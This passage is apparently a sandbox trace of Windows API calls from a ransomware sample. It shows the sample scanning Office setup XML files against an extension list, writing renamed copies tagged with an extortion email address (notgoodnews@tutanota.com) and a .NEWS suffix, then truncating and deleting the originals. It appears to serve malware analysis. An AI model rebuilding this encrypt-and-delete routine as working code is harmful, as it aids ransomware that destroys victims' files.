Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.055] lstrlenW (lpString=".jpg") returned 4 [0059.055] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.056] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0059.056] lstrlenW (lpString="SETUP.XML") returned 9 [0059.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0059.075] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1886) returned 1 [0059.075] CloseHandle (hObject=0x1ac) returned 1 [0059.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0059.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0059.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0059.075] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.075] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0059.076] GetLastError () returned 0x0 [0059.076] ReadFile (in: hFile=0x1ac, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x75e, lpOverlapped=0x0) returned 1 [0059.083] WriteFile (in: hFile=0x21c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x760, lpOverlapped=0x0) returned 1 [0059.085] ReadFile (in: hFile=0x1ac, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.085] WriteFile (in: hFile=0x21c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0059.085] SetEndOfFile (hFile=0x21c) returned 1 [0059.086] CloseHandle (hObject=0x21c) returned 1 [0059.087] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.087] SetEndOfFile (hFile=0x1ac) returned 1 [0059.088] CloseHandle (hObject=0x1ac) returned 1 [0059.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0059.089] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0059.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.089] lstrlenW (lpString=".doc") returned 4 [0059.089] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.089] lstrlenW (lpString=".docx") returned 5 [0059.089] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0059.089] lstrlenW (lpString=".pdf") returned 4 [0059.089] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.089] lstrlenW (lpString=".xls") returned 4 [0059.089] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.089] lstrlenW (lpString=".xlsx") returned 5 [0059.089] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0059.089] lstrlenW (lpString=".ppt") returned 4 [0059.089] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.090] lstrlenW (lpString=".zip") returned 4 [0059.090] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.090] lstrlenW (lpString=".rar") returned 4 [0059.090] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.090] lstrlenW (lpString=".bz2") returned 4 [0059.090] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.090] lstrlenW (lpString=".7z") returned 3 [0059.090] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.090] lstrlenW (lpString=".dbf") returned 4 [0059.090] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.090] lstrlenW (lpString=".1cd") returned 4 [0059.090] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.090] lstrlenW (lpString=".jpg") returned 4 [0059.090] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.090] lstrlenW (lpString=".doc") returned 4 [0059.090] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.091] lstrlenW (lpString=".docx") returned 5 [0059.091] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0059.091] lstrlenW (lpString=".pdf") returned 4 [0059.091] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.091] lstrlenW (lpString=".xls") returned 4 [0059.091] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.091] lstrlenW (lpString=".xlsx") returned 5 [0059.091] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0059.091] lstrlenW (lpString=".ppt") returned 4 [0059.091] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.092] lstrlenW (lpString=".zip") returned 4 [0059.092] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.092] lstrlenW (lpString=".rar") returned 4 [0059.092] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.092] lstrlenW (lpString=".bz2") returned 4 [0059.092] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.092] lstrlenW (lpString=".7z") returned 3 [0059.092] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.092] lstrlenW (lpString=".dbf") returned 4 [0059.092] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.092] lstrlenW (lpString=".1cd") returned 4 [0059.092] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0059.092] lstrlenW (lpString=".jpg") returned 4 [0059.092] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.093] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0059.093] lstrlenW (lpString="SETUP.XML") returned 9 [0059.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.639] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=16683) returned 1 [0059.639] CloseHandle (hObject=0x214) returned 1 [0059.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0059.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0059.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.640] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.640] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.007] GetLastError () returned 0x0 [0060.007] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x412b, lpOverlapped=0x0) returned 1 [0060.039] WriteFile (in: hFile=0x1e8, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0060.041] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.041] WriteFile (in: hFile=0x1e8, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.041] SetEndOfFile (hFile=0x1e8) returned 1 [0060.041] CloseHandle (hObject=0x1e8) returned 1 [0060.043] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.043] SetEndOfFile (hFile=0x214) returned 1 [0060.045] CloseHandle (hObject=0x214) returned 1 [0060.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0060.045] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0060.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.045] lstrlenW (lpString=".doc") returned 4 [0060.045] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.046] lstrlenW (lpString=".docx") returned 5 [0060.046] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0060.046] lstrlenW (lpString=".pdf") returned 4 [0060.046] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.046] lstrlenW (lpString=".xls") returned 4 [0060.046] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.046] lstrlenW (lpString=".xlsx") returned 5 [0060.046] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0060.046] lstrlenW (lpString=".ppt") returned 4 [0060.046] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.046] lstrlenW (lpString=".zip") returned 4 [0060.046] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.046] lstrlenW (lpString=".rar") returned 4 [0060.046] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.046] lstrlenW (lpString=".bz2") returned 4 [0060.046] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.046] lstrlenW (lpString=".7z") returned 3 [0060.046] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.046] lstrlenW (lpString=".dbf") returned 4 [0060.046] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.047] lstrlenW (lpString=".1cd") returned 4 [0060.047] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.047] lstrlenW (lpString=".jpg") returned 4 [0060.047] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.047] lstrlenW (lpString=".doc") returned 4 [0060.047] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.047] lstrlenW (lpString=".docx") returned 5 [0060.047] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0060.047] lstrlenW (lpString=".pdf") returned 4 [0060.047] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.047] lstrlenW (lpString=".xls") returned 4 [0060.047] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.047] lstrlenW (lpString=".xlsx") returned 5 [0060.047] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0060.047] lstrlenW (lpString=".ppt") returned 4 [0060.047] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.048] lstrlenW (lpString=".zip") returned 4 [0060.048] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.048] lstrlenW (lpString=".rar") returned 4 [0060.048] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.048] lstrlenW (lpString=".bz2") returned 4 [0060.048] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.048] lstrlenW (lpString=".7z") returned 3 [0060.048] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.048] lstrlenW (lpString=".dbf") returned 4 [0060.048] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.048] lstrlenW (lpString=".1cd") returned 4 [0060.048] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0060.048] lstrlenW (lpString=".jpg") returned 4 [0060.048] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.048] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0060.049] lstrlenW (lpString="Proofing.XML") returned 12 [0060.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.050] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=811) returned 1 [0060.050] CloseHandle (hObject=0x214) returned 1 [0060.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0060.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0060.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.051] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.051] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.051] GetLastError () returned 0x0 [0060.051] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x32b, lpOverlapped=0x0) returned 1 [0060.291] WriteFile (in: hFile=0x1e8, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x330, lpOverlapped=0x0) returned 1 [0060.293] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.293] WriteFile (in: hFile=0x1e8, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.294] SetEndOfFile (hFile=0x1e8) returned 1 [0060.294] CloseHandle (hObject=0x1e8) returned 1 [0060.295] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.295] SetEndOfFile (hFile=0x214) returned 1 [0060.296] CloseHandle (hObject=0x214) returned 1 [0060.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0060.297] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0060.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.297] lstrlenW (lpString=".doc") returned 4 [0060.297] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.297] lstrlenW (lpString=".docx") returned 5 [0060.297] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0060.297] lstrlenW (lpString=".pdf") returned 4 [0060.297] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.297] lstrlenW (lpString=".xls") returned 4 [0060.297] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.298] lstrlenW (lpString=".xlsx") returned 5 [0060.298] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0060.298] lstrlenW (lpString=".ppt") returned 4 [0060.298] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.298] lstrlenW (lpString=".zip") returned 4 [0060.298] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.298] lstrlenW (lpString=".rar") returned 4 [0060.298] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.298] lstrlenW (lpString=".bz2") returned 4 [0060.298] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.298] lstrlenW (lpString=".7z") returned 3 [0060.298] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.298] lstrlenW (lpString=".dbf") returned 4 [0060.298] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.298] lstrlenW (lpString=".1cd") returned 4 [0060.298] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.298] lstrlenW (lpString=".jpg") returned 4 [0060.298] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.299] lstrlenW (lpString=".doc") returned 4 [0060.299] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.299] lstrlenW (lpString=".docx") returned 5 [0060.299] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0060.299] lstrlenW (lpString=".pdf") returned 4 [0060.299] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.299] lstrlenW (lpString=".xls") returned 4 [0060.299] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.299] lstrlenW (lpString=".xlsx") returned 5 [0060.299] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0060.299] lstrlenW (lpString=".ppt") returned 4 